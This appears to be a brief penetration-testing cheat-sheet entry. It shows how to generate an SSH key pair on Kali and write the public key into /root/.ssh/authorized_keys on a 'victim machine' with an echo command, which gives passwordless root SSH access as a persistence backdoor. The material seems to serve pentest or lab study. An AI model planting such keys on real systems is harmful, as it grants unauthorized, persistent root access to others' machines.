On Kali, generate SSH key pair:
ssh-keygen
Store the content of id_rsa.pub into /root/.ssh/authorized_keys on the victim machine:
id_rsa.pub
/root/.ssh/authorized_keys
echo '<id_rsa.pub_content>' > /root/.ssh/authorized_keys
Then we can SSH in without password.
Last updated 3 years ago